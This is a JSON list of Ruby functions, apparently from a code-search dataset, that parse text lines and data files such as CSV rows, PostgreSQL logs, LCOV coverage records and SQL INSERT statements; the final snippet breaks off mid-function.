[ "def parse_line(line)\n catch :line_parsed do\n UNDERSTOOD_ROWS.each do |record_type|\n if line.start_with?(record_type)\n send \"parse_#{record_type.downcase}_line\", line.chomp\n throw :line_parsed\n end\n end\n\n if line[0].eql?('/')\n parse_comment_line line.chomp\n throw :line_parsed\n end\n\n logger.error \"Can't understand line: #{line.chomp.inspect}\"\n end\n end", "def parse_line(row, db)\n case row[1]\n when 'b'\n return create_basic_food(row)\n when 'r'\n return create_recipe(row, db)\n else\n puts 'Invalid line in FoodDB.txt'\n end\n end", "def parse(line)\n row = line.to_s\n row.chomp!\n row.strip!\n return unless match = regexp.match(row)\n\n data = {}\n names.each_with_index { |field, index| data[field] = match[index + 1] } # [0] == line\n data\n end", "def parse(line)\n row = line.to_s\n row.chomp!\n row.strip!\n return unless match = regexp.match(row)\n\n data = {}\n names.each_with_index { |field, index| data[field] = match[index + 1] } # [0] == line\n data\n end", "def parse_line(line)\n results = LineRegexp.match(line)\n if results \n @elements[:line] = results[-1]\n results[-1] # remaining line \n else\n @elements[:line] = line\n line \n end\n end", "def parse_line(line)\n ln, fn, mi, sex, fav_color, dob = line.split(' | ')\n LineParser.to_h(fn, ln, mi, sex, fav_color, parse_dob(dob))\n end", "def parse(text)\n logprefix_match = LOG_LINE_PREFIX.match(text)\n database_name = \"UNKNOWN\"\n if logprefix_match\n text = \"LOG:\" + logprefix_match.post_match\n prefix = logprefix_match[1]\n database_match = DATABASE_NAME.match(prefix)\n if database_match\n database_name = database_match[1]\n end\n end\n logdebug_match = LOG_OR_DEBUG_LINE.match(text)\n if logdebug_match\n\n query_match = QUERY_STARTER.match(logdebug_match.post_match)\n if query_match\n return PGQueryStarter.new(query_match.post_match, nil, database_name)\n end\n\n duration_match = DURATION.match(logdebug_match.post_match)\n if duration_match\n additionnal_info = duration_match.post_match.strip.chomp\n if additionnal_info == \"\"\n return PGDurationLine.new(duration_match[1].strip, duration_match[2])\n else\n return PGQueryStarterWithDuration.new(additionnal_info, duration_match[1].strip, duration_match[2], database_name)\n end\n end\n\n status_match = STATUS.match(logdebug_match.post_match)\n if status_match\n return PGStatusLine.new(logdebug_match.post_match)\n end\n\n # $stderr.puts \"Unrecognized LOG or DEBUG line: #{text}\"\n return nil\n end\n\n error_match = ERROR_LINE.match(text)\n if error_match\n return PGErrorLine.new(error_match.post_match)\n end\n\n context_match = CONTEXT_LINE.match(text)\n if context_match\n return PGContextLine.new(context_match.post_match)\n end\n\n continuation_match = CONTINUATION_LINE.match(text)\n if continuation_match\n return PGContinuationLine.new(continuation_match.post_match)\n end\n\n statement_match = STATEMENT_LINE.match(text)\n if statement_match\n return PGStatementLine.new(statement_match.post_match)\n end\n\n hint_match = HINT_LINE.match(text)\n if hint_match\n return PGHintLine.new(hint_match.post_match)\n end\n\n detail_match = DETAIL_LINE.match(text)\n if detail_match\n return PGDetailLine.new(detail_match.post_match)\n end\n\n if text.strip.chomp == \"\"\n return PGContinuationLine.new(\"\")\n end\n\n # $stderr.puts \"Unrecognized PostgreSQL log line: #{text}\"\n return nil\n end", "def parse_details(line)\n @id, blob = line.split(\":\")\n @fullname, @date, @parent_id = blob.split(\",\")\n @owner, @name = fullname.split(\"/\")\n end", "def read_by_line_number line_number\n uri = ''\n File.open('storage.db','r') do |f|\n count = f.gets.to_i\n raise 'URI unaccesible' if count < line_number\n while line_number >0\n uri = f.gets\n line_number -= 1\n end\n end\n uri\n end", "def parse(line)\n raise EntryFileError, \"Do not know how to parse the entries in #{File.basename(@data_file)}!\"\n end", "def parse(line)\n res='unknown'\n raw=line.split(':')\n res=raw[1] if raw[1]!=nil\n res.strip\n end", "def parse_line_data(line)\n line.strip.gsub('\"', '').split ' = '\n end", "def recordize line\n line.split(\"\\t\") rescue nil\n end", "def process line\n return unless line.gsub!(/^INSERT INTO `\\w+` VALUES \\(/,\"\")\n warn \"bad ending\" unless line.gsub!(/\\);?$/, '')\n line.split(/\\),\\(/).each do |tuple|\n begin\n QUOTED_QUOTE_RE.gsub!(tuple, \"''\")\n emit FasterCSV.parse_line(tuple, :quote_char => \"'\")\n rescue FasterCSV::MalformedCSVError => e\n warn \"#{e}: #{tuple}\"\n end\n \n end\n end", "def parse_entry(line)\n\n return nil if line.nil? || line.length <= 0\n meta,msg = line.split(' : ',2)\n msg = msg.chomp unless msg.nil?\n\n parts=meta.split(' ')\n\n fields=[]\n\n unless parts.length < 3\n fields_str=parts[2][1..-2]\n fields = fields_str.split(',')\n end\n\n Entry.new(parts[0], parts[1], fields, msg, line)\n end", "def handle_text_line(line, record)\n line =~ record.match ? {:record_type => record.name, :line => line} : nil\n end", "def parse(lineno, line)\n tokens = GedLine.new *line.chomp.strip.split(/\\s/)\n parse_line(lineno, tokens)\n end", "def parse_line\n s0 = @scanner.pos\n match_spaces\n s2 = parse_te\n if s2 == :failed\n @scanner.pos = s0\n s0 = :failed\n else\n match_spaces\n s4 = @scanner.pos\n s5 = parse_fugou\n if s5 == :failed\n @scanner.pos = s4\n s4 = :failed\n else\n s6 = parse_from\n if s6 == :failed\n @scanner.pos = s4\n s4 = :failed\n else\n @reported_pos = s4\n s4 = transform_teban_fugou_from(s2, s5, s6)\n end\n end\n if s4 == :failed\n s4 = @scanner.pos\n s5 = []\n s6 = match_regexp(/[^\\r\\n ]/)\n while s6 != :failed\n s5 << s6\n s6 = match_regexp(/[^\\r\\n ]/)\n end\n @reported_pos = s4\n s4 = s5.join\n end\n if s4 == :failed\n @scanner.pos = s0\n s0 = :failed\n else\n match_spaces\n s6 = parse_time\n s6 = nil if s6 == :failed\n match_str('+')\n if parse_nl == :failed\n @scanner.pos = s0\n s0 = :failed\n else\n @reported_pos = s0\n s0 = { 'move' => s4, 'time' => s6 }\n end\n end\n end\n s0\n end", "def parse_line(line)\n line.gsub(/;.*$/, \"\").strip.scan(/\"[^\"]*\"|[.:]?\\w+|-?\\d+/).map { |e|\n if e[0] == '\"'\n e[1..-2]\n else\n e\n end\n }\nend", "def\tparse_file\n CSV.foreach(@file) do |row|\n begin\n rid, price, item = row[0].strip.to_i, row[1].strip.to_f, row[2..-1].map(&:strip).join('-').downcase\n validate(rid, price, item) ? load(rid, price, item) : puts(\"Escaping invalid row: #{row}\")\n rescue StandardError \n puts \"Escaping incorrect row: #{row}\"\n end\n end\n end", "def parse( line )\r\n line.split(';')\r\nend", "def parse(v)\n row[v[0]..v[1]].strip rescue nil\n end", "def parse_line_break; end", "def parse_line(line)\n raise Puppet::DevError, \"No record types defined; cannot parse lines\" unless records?\n\n @record_order.each do |record|\n # These are basically either text or record lines.\n method = \"handle_#{record.type}_line\"\n if respond_to?(method)\n if result = send(method, line, record)\n record.send(:post_parse, result) if record.respond_to?(:post_parse)\n return result\n end\n else\n raise Puppet::DevError,\n \"Somehow got invalid line type #{record.type}\"\n end\n end\n\n nil\n end", "def parse\n lines = @text.split(\"\\n\")\n head = lines.shift\n head = head.gsub(/[[:punct:]]/, '')\n #head = head.gsub(/[[:space:]]|\\t/, '')\n head_match = Tables::Header_regex.match(head.strip)\n if head_match then\n @die = head_match[2].to_i\n @header = head_match[3].strip\n end\n lines.each { |l|\n l = l.gsub(/[[:punct:]]/, '')\n ti = Tables::Line_regex.match(l.strip)\n if ti then\n @outcomes << TableItem.new(ti.to_s)\n end\n }\n end", "def handle_record_line(line, record)\n ret = nil\n if record.respond_to?(:process)\n if ret = record.send(:process, line.dup)\n unless ret.is_a?(Hash)\n raise Puppet::DevError,\n \"Process record type #{record.name} returned non-hash\"\n end\n else\n return nil\n end\n elsif regex = record.match\n # In this case, we try to match the whole line and then use the\n # match captures to get our fields.\n if match = regex.match(line)\n fields = []\n ret = {}\n record.fields.zip(match.captures).each do |field, value|\n if value == record.absent\n ret[field] = :absent\n else\n ret[field] = value\n end\n end\n else\n nil\n end\n else\n ret = {}\n sep = record.separator\n\n # String \"helpfully\" replaces ' ' with /\\s+/ in splitting, so we\n # have to work around it.\n if sep == \" \"\n sep = / /\n end\n line_fields = line.split(sep)\n record.fields.each do |param|\n value = line_fields.shift\n if value and value != record.absent\n ret[param] = value\n else\n ret[param] = :absent\n end\n end\n\n if record.rollup and ! line_fields.empty?\n last_field = record.fields[-1]\n val = ([ret[last_field]] + line_fields).join(record.joiner)\n ret[last_field] = val\n end\n end\n\n if ret\n ret[:record_type] = record.name\n return ret\n else\n return nil\n end\n end", "def parse_line(line)\n return [] if line.nil? or line.empty?\n line.chomp(\"\\n\").split(\"\\t\")\n end", "def readFromDB\n File.open('db.txt', 'r+') do |file|\n file.readlines\n end\nend", "def parse(line)\n\t\titems = line.split(' ')\n\t\trecord = {}\n\t\t# debugger\n\t\trecord[:event] = items[0]\n\t\trecord[:time] = items[1]\n\t\trecord[:fnode] = items[2]\n\t\trecord[:tnode] = items[3]\n\t\trecord[:pktype] = items[4]\n\t\trecord[:pktsize] = items[5]\n\t\trecord[:fid] = items[7]\n\t\trecord[:srcadd] = items[8]\n\t\trecord[:desadd] = items[9]\n\t\trecord[:seqnum] = items[10]\n\t\trecord[:pktid] = items[11]\n\t\trecord\n\tend", "def mysql_lines\n File.open(file_name, \"r\") do |line|\n #File.open('./lib/databasers/fibered_files_output.txt') do |line|\n line.each do |x|\n puts \"('\" + \"#{x.strip}\" + \"')\"\n end\n end\n end", "def process_line(ln)\n ln.strip!\n if ln =~ /(.*)\\s+\\(\\d+\\)\\z/\n $1\n else\n ln\n end\n end", "def parse(line)\n entry = line.chomp.split(\"\\t\")\n raise EntryFileError, \"Invalid interval entry\" if entry.length < min_num_columns\n Genomics::Interval.new(entry[@chr_col-1], entry[@start_col-1].to_i, entry[@stop_col-1].to_i)\n end", "def parse(text)\n # match = text.scan(/^(\\/[^:]+):\\s([^:]+):\\s(.+)$/)[0]\n rows = text.split(/\\n/)\n \n rows.shift(rows.length-3) if rows.length > 3\n \n match = rows[0].scan(/^(\\d+)\\t([^\\t]+)\\t([^\\t]+)\\t(.+)$/)[0]\n \n result = {\n :linenumber => match[0],\n :file => match[1],\n :filename => match[2],\n :type => match[3] =~ /warning/i ? \"warning\" : \"error\",\n :description => match[3],\n :code => rows[1],\n :position => rows[2].scan(/^(.*)\\^$/)[0][0].length\n }\n return result\nend", "def import_one_row_data(line)\n return if @file.nil? && @file.cell(line, 1).blank?\n company = import_company(line)\n unless company.new_record? || company.owner\n import_company_owner(company, line) \n end\n end", "def parse_file\n filename = full_path_from_edict_file(@config[\"filename\"])\n ### Get all the line into memory\n file_obj = File.new(filename, \"r\")\n file_obj.each do |line|\n @added_lines.push line\n end\n end", "def parse_file\n File.open(\"FoodDB.txt\", \"r\") do |f|\n f.each_line do |line|\n line.chomp!\n command = line.split(\",\")\n name = command[0]\n type = command[1]\n info = command[2]\n #switches on type\n case type\n when \"b\"\n addFood(name, info)\n when \"r\"\n length = command.length-1\n ingredients = command[2..length]\n addRecipe(name,ingredients)\n end\n end\n end\n end", "def parse_line(line)\n ln, fn, sex, fav_color, dob = line.split(', ')\n LineParser.to_h(fn, ln, nil, sex, fav_color, parse_dob(dob))\n end", "def import_line(line)\n line_array = line.split(\"\\t\") #? name\n\n # destructuring\n @name, @cuisine, @price = line_array\n\n return self # returns the OBJECT\n end", "def getContent(line)\n line = line.strip\n if (line.length == 0) then\n return IGNORE,UNDEFINED_VALUE\n end\n # print \"line: #{line}\\n\"\n if ((line.length > 3) && (line[0..2] == \"<tr\") && (@state == LOOKING_FOR_ROW_START)) then\n @state = LOOKING_FOR_CONTENT_OR_ROW_END\n return NEW_ROW,UNDEFINED_VALUE\n elsif ((line.length > 3) && (line[0..2] == \"<td\") && (@state == LOOKING_FOR_CONTENT_OR_ROW_END)) then\n return NEW_CONTENT,self.extractContent(line)\n elsif ((line.length > 4) && (line[0..3] == \"</tr\") && (@state == LOOKING_FOR_CONTENT_OR_ROW_END)) then\n @state = LOOKING_FOR_ROW_START\n return IGNORE,UNDEFINED_VALUE\n else\n return IGNORE,UNDEFINED_VALUE\n end\n end", "def parse(v)\n row[v].strip rescue nil\n end", "def test_one_log_record\r\n result = @parser.parse(File.read(File.join(TEST_DATA_PATH, 'one-line.blog')))\r\n assert_equal(1, result.size)\r\n\r\n record = result[0]\r\n end", "def recordize line\n line.split(\"\\t\")\n end", "def parse_file(filename)\n start = Time.now\n open filename do |file|\n data = {}\n i = 0\n file.each do |line|\n date, query = line.chomp.split(\"\\t\")\n\n insert(date, query)\n i += 1\n end\n puts \"Successfully read #{i} lines.\"\n end\n puts \"Done in #{Time.now - start} seconds.\"\n end", "def line_from_file(filename, substring)\n fh = File.open(filename)\n begin\n line = fh.gets\n raise TextHandler::InvalidLineError unless line.include?(substring)\n return line\n rescue TextHandler::InvalidLineError => e\n puts \"Invalid line!\"\n puts e\n puts e.backtrace\n puts e.message\n raise\n ensure\n fh.close\n end\n return line\nend", "def parse line\n normalize(@lexer.tokenize(line)).select { |t| t.is_a? String }\n end", "def parse_line(line)\n return nil unless valid?(line)\n\n # it isn't a tag if it doesnt begin with #\n return M3U8ParsedTag.new(nil, nil, line) unless line[0] == '#'\n\n # is it an idependent tag?\n return M3U8ParsedTag.new(line[1..-1]) if independent_tag?(line)\n return nil unless (pos = line.index(':'))\n\n # is it a VALUE tag?\n tag, attr_or_val = [line[1..pos - 1], line[pos + 1..-1]]\n return M3U8ParsedTag.new(tag, nil, attr_or_val) if value_tag?(line[0..pos - 1])\n return M3U8ParsedTag.new(tag, attr_or_val) if attribute_tag?(line[0..pos - 1])\n\n # I don't know wtf it is!\n nil\n end", "def parse( line )\n info = line.split(',')\n return info\nend", "def read_data(filename)\n count = 0\n fd = File.open(filename)\n while not fd.eof?\n line = fd.readline\n line.chomp!\n count += 1\n fields = []\n line.split('^').each do |f|\n datum = f.gsub('~~','').gsub(/^~/,'').gsub(/~$/,'')\n fields.push(datum.empty? ? nil : datum)\n end\n yield fields\n end\nrescue => e\n STDERR.puts \"error '#{e}' file '#{filename}' line #{count}\"\n exit\nensure\n fd.close\nend", "def parse_line(line)\n line_array = line.split\n if line_array.length < 2\n nil\n elsif line_array[0] == 'Driver'\n driver = Driver.new(line_array[1])\n @drivers[driver.driver_hash[:name]] = driver\n elsif line_array[0] == 'Trip'\n driver = @drivers[line_array[1]]\n begin\n driver.add_trip(Trip.new(line_array))\n rescue => e\n p e\n end\n end\n end", "def import_ori(file_path)\n string = IO.read(file_path)\n array = string.split(\"\\n\")\n array.shift\n return array\n end", "def readUnihanDatabase(filename, char_hash)\n File.open(filename) do |f|\n while (line = f.gets)\n next if line.match(/^#/) # line commented out?\n a = line.strip.split(\"\\t\")\n char_hash[a[0]] = Hash.new() unless char_hash.has_key? a[0]\n char_hash[a[0]][a[1].to_sym] = a[2]\n end\n end\nend", "def parseLine(line)\n handle = nil\n text = nil\n match = /^\\<([^\\>]+)\\> (.*)$/.match(line)\n if (match)\n handle = match[1]\n text = match[2]\n end\n return handle, text\n end", "def parse_bsd_line(line)\n finish_current_train\n train = TrainSchedule.new\n train.update_from_cif line\n @on_train_schedule_delete&.call self, train\n end", "def parse_line(line)\n # If the previous line didn't and a logical line, we're not going to start one. If it did,\n # we're indeed going to start a new logical line\n @state[:ll_start] = @state[:ll_end]\n\n # We will start with the assumption that we're going to end the current logical line. We may layer\n # find out that we did not, in fact, do so.\n @state[:ll_end] = true\n\n # Reset the line continuator flag the the last line may have set to true\n @state[:line_continuator] = false\n\n # Find the first non-(space/tab) character\n index = 0\n while index < line.length && [\" \", \"\\t\"].include?(line[index])\n index += 1\n end\n @state[:indent_string] = line[0...index]\n\n # Iterate over the line's characters as long as there are any. We use different iteration\n # methods depending on whether we're inside a string or not\n index = 0\n while index < line.length\n if @state[:in_string].nil?\n index = parse_characters_normal(line, index)\n else\n index = parse_characters_in_string(line, index)\n end\n end\n\n # We have reached the end of the line. Decide whether or not the logical line ends here.\n @state[:ll_end] = @state[:in_string].nil? && @state[:open_braces] == 0 && !@state[:line_continuator]\n end", "def load_raw_line opts = OPTS_REGEX.keys\n self.raw_line.chomp!\n opts.each do |xfield|\n pattern = OPTS_REGEX[xfield]\n did_set = raw_setter xfield, pattern\n #puts did_set\n end\n end", "def process_line(line)\n line.split ' '\n end", "def parse_line(line)\n host_ip, date, method_file_protocol, http_code, _ = @line_regex.match(line).captures\n file = @mfp_regex.match(method_file_protocol).captures[0]\n ip_token = host_ip.split(':')[1]\n\n date = Time.strptime(date, '%d/%b/%Y:%H:%M:%S %z').iso8601\n query_params = CGI::parse(URI(file).query)\n\n return {\n access_date: date,\n ip_token: ip_token,\n page_number: query_params[\"seq\"] || -1,\n http_code: http_code,\n volume_id: query_params[\"id\"]\n }\n end", "def fromStateString(line, s)\n\ti = s\n\tuntil line[i] == '\t' || i == line.length\n\t\ti = i+1\n\t\tif i>7\n\t\t\tputs 'ERROR: cannot read line in fromStateString'\n\t\t\treturn -1\n\t\tend\n\tend\n\treturn line[s..i-1]\nend", "def parse_line(line, tags, values, open_tags)\n if line.match(TAG)\n tags = handle_adding_tag($2, tags)\n values = handle_add_to_top_open_tag(get_tag($2), open_tags, values)\n values = handle_add_line_to_value(\"\", $2, values)\n elsif line.match(OPEN_TAG)\n open_tags.push($2)\n tags = handle_adding_tag($2, tags)\n elsif line.match(CLOSE_TAG)\n values, open_tags = handle_close_tag($2, values, open_tags)\n elsif line.match(VALUE_TEXT)\n values = handle_add_to_top_open_tag($1, open_tags, values)\n elsif line.match(BRACE_TEXT)\n values = handle_add_to_top_open_tag($1, open_tags, values)\n else\n puts \"Error: didn't match '#{line}'\"\n exit 1\n end\n \n whole = $1\n if line.sub(whole, '') != nil and line.sub(whole, '') != \"\"\n return parse_line(line.sub(whole,''), tags, values, open_tags)\n else \n return tags, values, open_tags\n end\n end", "def parser(line)\n return Hash[line.split(\"\\t\").map{|f| f.split(\":\", 2)}]\n end", "def parse_line row,init=true\n parse_init if init\n dbg[:parse]= false\n @doc_src = read_w2tags(row).split(\"\\n\") << \",/\"\n #@doc_src = row.delete(\"\\r\").split(\"\\n\") << \",/\"\n while (@row= @doc_src.shift) do #;p \"row:#{@row}\"\n parse_row\n end\n @doc_out\n end", "def process_line(buf) # rubocop:disable Metrics/MethodLength, Metrics/PerceivedComplexity, Metrics/AbcSize\n query = buf.chomp.chomp(';')\n begin\n ffi_query = ffi_polar.new_query_from_str(query)\n rescue ParseError => e\n print_error(e)\n return\n end\n\n begin\n results = Query.new(ffi_query, host: host).results.to_a\n rescue PolarRuntimeError => e\n print_error(e)\n return\n end\n\n if results.empty?\n puts false\n else\n results.each do |result|\n if result.empty?\n puts true\n else\n result.each do |variable, value|\n puts \"#{variable} = #{value.inspect}\"\n end\n end\n end\n end\n end", "def import_file(file)\n records = IO.readlines(file)\n Vocabulary::DB.transaction do\n records.each { |record| string_processing record }\n end\n end", "def parse_line(line)\n line_arr = line.split(':')\n type = line_arr.first.downcase\n days = line_arr.last.split(',')\n [type, days]\n end", "def parse_line(line)\n is = new\n line =~ /(.+)\\s+<-\\s+(.+?)\\s+\\((\\d+\\.\\d)(?:\\/(\\d+))?,\\s+(\\d+\\.\\d)\\)/\n consequent, antecedent, support, transactions, confidence = $1, $2, $3, $4, $5\n is.consequent = consequent \n is.antecedent = antecedent.split(/\\s+/)\n is.support = support.to_f\n is.num_antecedent_transactions = transactions ? transactions.to_i : nil\n is.confidence = confidence.to_f\n is\n end", "def parse!\n self.fields = []\n\n # split transactions, each transaction starts with a colon after a linebreak\n # do not remove line breaks within transaction lines as they are used to determine field details\n # e.g. :61:-supplementary\n source.split(\"\\n:\").each(&:strip!).each do |line|\n line = \":#{line}\" unless line =~ %r{^:} # prepend lost : via split\n\n if line.match(/\\A:86:/)\n if field = fields.last\n field.add_meta_data(line)\n end\n else\n field = Field.parse(line)\n self.fields << field unless field.nil?\n end\n end\n end", "def read_row(savefile)\n valid = true # flag to keep track of valid input\n \n # read a line from the file\n row = savefile.readline.chomp\n \n # make sure line wasn't a blank line, if it was we will return []\n if row.length > 0\n row = row.split # split the row into separate tokens\n \n # remove pipe characters if present, these are optional\n if row.first == '|'\n row.shift\n if row.length > 0 and row[row.length - 1] == '|'\n row.pop\n end\n end\n \n # process digit values of row\n if row.length > 0\n # after removing pipe characters (if present), must check length again\n for i in 0...row.length # iterate with i through the row\n if @parser.integer? row[i]\n row[i] = row[i].to_i # convert to numbers from strings\n else\n print 'Load Error: Row entry contained non digit characters '\n valid = false\n break # break from the loop because of invalid input\n end\n end\n else\n print 'Load Error: Row entry cannot be blank '\n valid = false \n end\n else\n # this is not necessarily an error\n row = [] # return an empty array if the line was simply blank\n end\n \n if(valid)\n return row\n else\n return nil\n end\n end", "def parse(line)\n @pattern, *@owners = line.split(/\\s+/)\n @whitespace = line.split('@').first.count(' ') - 1\n @spec = parse_spec(@pattern)\n end", "def parse_blank_line; end", "def parse(line)\n line.strip!\n\n match = line.match(@@full_match)\n return unless match\n\n source_ip, destination_ip, source_port, destination_port = match[1..4]\n\n OpenStruct.new(\n :source_ip => source_ip,\n :destination_ip => destination_ip,\n :source_port => source_port.to_i,\n :destination_port => destination_port.to_i\n )\n end", "def parse(file)\n if @db.nil?\n return\n end\n\n begin\n @db.transaction\n @db.execute \"DROP INDEX IF EXISTS idx_markov_phrase\"\n IO.readlines(file).map {|l| insert(l)}\n @db.execute \"CREATE INDEX idx_markov_phrase ON markov(phrase)\"\n @db.commit\n rescue\n puts \"error reading #{file}\"\n @db.rollback\n end\n end", "def parse_line(line)\n begin\n @loggie.write(\"#{line}\\n\")\n line = line.split(\" \")\n if line[9] == 'voice'\n return Message.new(line[12],line[15],'started.',line[0].to_f,GROUP,line[8])\n elsif line[9] == 'end'\n return Message.new(line[14],line[17].gsub(',',''),'ended.',line[0].to_f,GROUP,line[8])\n elsif line[7] == \"audio\"\n led(\"rx\", line[-2].split('/')[0].to_i / 141.0)\n return \"audio\"\n elsif line[6] == 'group'\n return Message.new(line[4],line[7],line.last,line[0].to_f,GROUP,\"RF\")\n elsif line =~ /Call from/\n return Message.new(line[4],line[6],line.last,line[0].to_f,PRIV,\"RF\")\n end\n rescue => e\n @@logger.debug(e.inspect)\n @@logger.debug(e.backtrace)\n exit 1\n end\n end", "def parse_file\n line_count = 0\n @text.each_line do |line|\n if line == nil || line == '' || line.size == 0 || line[0] == '#' || line[0] == \"\\n\"\n next\n end\n elements = line.split(' ')\n if elements.size > 2\n puts 'Waring : '.red + 'in file \"' + @file_name.yellow + '\" ignoring line ' + line_count.to_s.yellow + ' ( it has more than one space and is not a comment )'\n else\n if elements.size == 1\n @ret << Manga_data.new(nil, nil, nil, elements[0], nil)\n else\n @ret << Manga_data.new(nil, elements[0], elements[1], nil, nil)\n end\n end\n line_count += 1\n end\n end", "def handle(line)\n parsed = parse(line)\n return unless parsed\n\n handle_parsed(parsed)\n end", "def parse_dbrc_config_file(file = @dbrc_file)\n begin\n fh = file.is_a?(StringIO) ? file : File.open(file)\n\n fh.each_line do |line|\n next if line =~ /^#/ # Ignore comments\n db, user, pwd, driver, timeout, max, interval = line.split\n\n next unless @database == db\n next if @user && @user != user\n\n @user = user\n @password = pwd\n @driver = driver\n @timeout = timeout\n @maximum_reconnects = max\n @interval = interval\n break\n end\n ensure\n fh.close if fh.respond_to?(:close)\n end\n\n if @user\n raise Error, \"no record found for #{@user}@#{@database}\" unless @user\n else\n raise Error, \"no record found for #{@database}\" unless @database\n end\n end", "def parse(row)\n gid, @name, @ascii, @alternates, lat, lon, feat, kind,\n @country, cc2, adm1, adm2, adm3, adm4, @pop, @ele,\n @gtop, @tz, @up = row.split(/\\t/)\n parse_geom(lat, lon)\n @gid = @geoname_id = gid.to_i\n @kind = human_code(kind)\n @province = adm1\n @code = adm2\n\n # puts \"#{@kind} - #{@code} - #{@province}\"\n end", "def db2disco_parse(data)\n\t\tres = data.split(\"\\x00\")\n\t\t\"#{res[2]}_#{res[1]}\"\n\tend", "def _parse_line line\n # note there could be multiple Supplementary cards\n if line[0].start_with? \"Main\"\n @statement.suffix = \"_main\"\n elsif line[0].start_with? \"Supplementary\"\n _new_statement \"_supp\"\n end\n return unless (Date.parse(line[0]) rescue false)\n _write_to_statement line[0], line[1], line[2], line[3]\n end", "def get_line_from_file(path, line)\n\tresult = nil\n\tFile.open(path, \"r\") do |f|\n \t\twhile line > 0\n \t\t\tline -= 1\n \t\t\tresult = f.gets\n \t\tend\n \tend\n\treturn result\nend", "def process_line(line)\n return true if line.empty?\n\n chunks = line.split(SPLIT_PATTERN, fmt.length)\n enough_fields?(line) # can raise exception\n\n point = { path: extract_path(chunks),\n value: extract_value(chunks) }\n\n tags = line_tags(chunks)\n\n point.tap do |p|\n p[:tags] = tags unless tags.empty?\n p[:ts] = extract_ts(chunks) if fmt.include?('t')\n p[:source] = extract_source(chunks) if fmt.include?('s')\n p[:interval] = options[:interval] || 'm' if fmt.include?('d')\n end\n end", "def parse(full_line)\n @line = strip_diff_syntax full_line\n\n return unless full_line =~ /^\\+ /\n\n known_suggestions.each do |suggestion|\n if result = suggestion.parse(@line)\n @result[@filename] << \"#{result}: #{@line}\"\n end\n end\n end", "def parse_line(line)\n matrix(line)\n .each_slice(3)\n .map(&:join)\n end", "def _parse_file_using_import(file, layout, model)\n attributes = {}\n count = 0\n value_sets = []\n column_names = model.columns.map{ |column| column.name }\n not_nces_fields = column_names.select { |name| name[/id/] }\n field_names = column_names - not_nces_fields\n options = { :validate => false }\n mstate_index = field_names.index(\"MSTATE\")\n while (line = file.gets) do\n next if line.strip == ''\n values = []\n layout.each do |label, start_pos, end_pos, length, data_type, description|\n data_str = line[(start_pos-1)..(end_pos-1)].strip.gsub(/[^[:print:]]/, '')\n data_value = case data_type\n when 'N'\n data_str.to_i\n when 'D'\n data_str.to_f\n else\n data_str\n end\n values << data_value\n end\n if @states_and_provinces\n if @states_and_provinces.include?(values[mstate_index])\n value_sets << values\n end\n else\n value_sets << values\n end\n if value_sets.length >= 10\n records = model.import(field_names, value_sets, options)\n value_sets = values = []\n end\n count += 1\n if count % 500 == 0\n print '.'\n STDOUT.flush\n end\n end\n if value_sets.length > 0\n model.import(field_names, value_sets, options)\n end\n puts \"\\n#{count} records processed from #{file.path}\"\n end", "def parse_insert_statement(line)\n if regex_match = insert_regex.match(line)\n {\n :ignore => !regex_match[1].nil?,\n :table_name => regex_match[2].to_sym,\n :column_names => regex_match[3].split(/`\\s*,\\s*`/).map { |col| col.gsub('`', \"\").to_sym }\n }\n end\n end", "def parse\n line = @io.gets until md = /\\ATime before run:\\s+(?<time>.*)\\Z/.match(line)\n return unless md\n @db.date_time ||= DateTime.parse(md[:time])\n super\n @db[\"lparstat_out\"] = @db[\"lparstat_sum\"]\n end", "def parse(line)\n line = line.gsub('(', '')\n line = line.gsub(')', '')\n tokens = line.split(',')\n\n start_row, start_col = tokens[1].split(':')\n end_row, end_col = tokens[2].split(':')\n\n {\n id: tokens[0],\n end_row: end_row.to_i,\n end_col: end_col.to_i,\n start_row: start_row.to_i,\n start_col: start_col.to_i\n }\n end", "def getLineFromString(line)\n return line.slice!(line.index(\"\\#~~!!\") + 6)\nend", "def parse_line(line)\n case line\n when /^SF:(.+)/\n @current_filename = $~[1].gsub(/^\\.\\//, '')\n source_files[@current_filename] = []\n when /^DA:(\\d+),(\\d+)/\n line_no = $~[1]\n covered = $~[2]\n source_files[@current_filename] << [line_no.to_i, covered.to_i]\n when /^(BRF|BRH):(\\d+)/\n # branches found/hit; no-op\n when /^BRDA:(\\d+),(\\d+),(\\d+),(-|\\d+)/\n line_no = $~[1]\n block_no = $~[2]\n branch_no = $~[3]\n covered = ($~[4] == '-' ? '0' : $~[4])\n source_files[@current_filename] << [line_no.to_i, block_no.to_i, branch_no.to_i, covered.to_i]\n when /^end_of_record$/, /^$/\n @current_filename = nil\n else\n raise LcovParseError, \"could not recognise '#{line}' as valid LCOV\"\n end\n end", "def find_valid_data filename\n start = 0\n dbfile = File.new(filename)\n s = dbfile.gets\n while s[0] == ?# or s[0]==?\\n\n start+= s.size\n s = dbfile.gets\n end\n dbfile.seek(-128, File::SEEK_END)\n s = dbfile.read(128).chomp;\n last = s.rindex(\"\\n\");\n dbfile.close\n return [start-1,File.size(filename) - last]\nend", "def parse_file(version, path)\n queries_file = \"./#{version}-queries.txt\"\n File.open(path) do |file|\n File.open(queries_file, 'w') do |qfile|\n file.each_line do |line|\n data = /^[^\\s]+\\s+([^\\s]+)\\s+(?:Load\\s+)?\\((.+)ms\\)\\s+(.+)$/.match(line)\n next if data.nil?\n if data[1] == 'SQL'\n type, table = parse_sql(data[3])\n next if type.nil?\n @by_sql[table] ||= {}\n @by_sql[table][type] ||= {}\n @by_sql[table][type][version] ||= []\n @by_sql[table][type][version] << data[2].to_f\n else\n @by_model[data[1]] ||= {}\n @by_model[data[1]][version] ||= []\n @by_model[data[1]][version] << data[2].to_f\n end\n qfile.write(data[3]+\"\\n\") if ! /\\$/.match(data[3])\n end\n end\n end\n end", "def parse(text)\n header_row, body_row = text.split(/$/)\n headers = header_row.split(\"\\t\")\n rs_index = headers.index('SNP rs')\n return false unless rs_index\n values = body_row.split(\"\\t\")\n values[rs_index]\n end", "def line\n\t\treturn @file_data[@current_line]\n\tend", "def initialize(filename, info_line) \n @filename = filename\n revision = info_line[0...info_line.index(' ')]\n @revision = Integer(revision[1..-1]) # remove #\n datetime = info_line.scan(/\\d\\d\\d\\d\\/\\d\\d\\/\\d\\d \\d\\d:\\d\\d:\\d\\d/)[0]\n @datetime = DateTime.strptime(datetime, '%Y/%m/%d %H:%M:%S')\n end", "def getl(fh)\n\t\tfh.each do |line|\n\t\t\tnext if /^#/===line\t\t\t\t\t# comment\n\t\t\tnext if /^[ \\t]*$/===line\t\t# whitespace\n\t\t\treturn line.chomp\n\t\tend\n\tend", "def process_line(line)\n # skip current line 